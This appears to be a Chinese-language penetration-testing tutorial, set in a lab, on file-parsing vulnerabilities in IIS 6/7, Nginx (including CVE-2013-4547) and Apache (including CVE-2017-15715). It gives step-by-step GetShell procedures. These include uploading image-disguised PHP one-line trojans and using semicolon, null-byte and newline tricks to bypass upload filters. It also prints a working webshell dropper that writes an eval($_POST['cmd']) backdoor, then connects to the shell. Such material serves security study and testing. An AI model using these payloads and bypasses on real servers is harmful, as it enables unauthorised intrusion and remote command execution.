IIS解析漏洞
IIS6.X
在iis6.x中,.asp⽂件夹中的任意⽂件都会被当做asp⽂件去执⾏
在iis的⽹站根⽬录新建⼀个名为x.asp的⽂件 ,在x.asp中新建⼀个jpg⽂件。内容为<%=now()%> asp代码
在外部浏览器中访问windows2003的iis⽹站中的2.jpg 发现asp代码被执行
将2.jpg⽂件放到⽹站根⽬录下访问,发现其中的asp代码没有被解析。 由此可⻅.asp⽂件夹中的任意⽂件会被当做asp⽂件去执⾏.
⽅式⼆:畸形⽂件解析
在IIS 6 处理⽂件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是shell.asp。另外IIS6.0默认的可执⾏⽂件除了asp还包含 asa\cer\cdx
IIS7.X
在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在⼀个⽂件路径/xx.jpg后⾯加上/xx.php会将 /xx.jpg/xx.php 解析为 php ⽂件。
利⽤条件
1. php.ini⾥的cgi.fix_pathinfo=1 开启
2. IIS7在Fast-CGI运⾏模式下
步骤一:配置 php.ini ⽂件,将 cgi.fix_pathinfo=1 取消掉...并重启,也是就是把;去掉
步骤二:IIS --》 配置⽹站--》 处理程序映射--》 PHPStudy_FastCGI --》 请求限制 --》取消勾选
利⽤姿势
GetShell
步骤⼀:将PHP⼀句话⽊⻢写到shell.php并更改后缀为shell.jpg上传到⽬标站点...利⽤解析漏洞进⾏访问
步骤⼆:添加Shell并链接
Nginx解析漏洞
nginx_parsing
步骤一:浏览器中访问⽹站
步骤二:制作图⽚⻢并进⾏上传...获取上传⽂件地址
步骤三:访问以下路径,利⽤Nginx解析漏洞.
http://172.16.1.97/uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/.php
CVE-2013-4547
步骤一:通过浏览器访问靶场⻚⾯,直接上传 shell.php 被拦截...修改⽂件后缀为.jpg进⾏上传且在后⾯添加空格;上传成功
步骤二:在.jpg后⾯添加两个空格并给上 .php 后缀,在16进制修改中将原本两个空格的 0x200x20 修改为如下即 0x20 0x00 进⾏发包...
步骤三:访问上传后的⽂件....由于url会将其编码,需要继续抓包修改 0x20 0x20 为 0x20 0x00
由于木马地址编码问题,⼯具连不到 ,可以看到我们访问到了图片头,说明上传成功
Apache解析漏洞
apache_parsing
Apache HTTPD ⽀持⼀个⽂件拥有多个后缀,并为不同后缀执⾏不同的指令。⽐如如下配置⽂件:
1.AddType text / html . html
2.AddLanguage zh - CN . cn
其给 .html 后缀增加了 media-type ,值为 text/html ;给.cn 后缀增加了语⾔,值为 zh-CN 。此时,如果⽤户请求⽂件 index.cn.html ,他将返回⼀个中⽂的html⻚⾯。以上就是Apache多后缀的特性。如果运维⼈员给 .php 后缀增加了处理器:
AddHandler application / x - httpd - php . php
那么,在有多个后缀的情况下,只要⼀个⽂件含有 .php 后缀的⽂件即将被识别成PHP⽂件,没必要是最后⼀个后缀。利⽤这个特性,将会造成⼀个可以绕过上传⽩名单的解析漏洞。
利⽤姿势
步骤一:访问靶机并上传 shell.php.jpg ⽂件,⽂件内容为
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
步骤二:上传成功后与⽹站进⾏路径拼接...如下
172.16.1.97/uploadfiles/1.php.jpg
步骤三:访问⽣成的shell.php并执⾏命令,执⾏成功
CVE-2017-15715
步骤一:访问网站尝试上传⼀句话⽊⻢⽂件,发现被拦截...
步骤二:在evil.php⽂件后⾯添加空格 0x20 在改为 0x0a 再次返送即可上传成功
步骤三:访问上传的evil⽂件在后⾯加上 %0a 再访问发现解析了其中的PHP代码,但后缀不是php说明存在解析漏洞
步骤四:链接成功!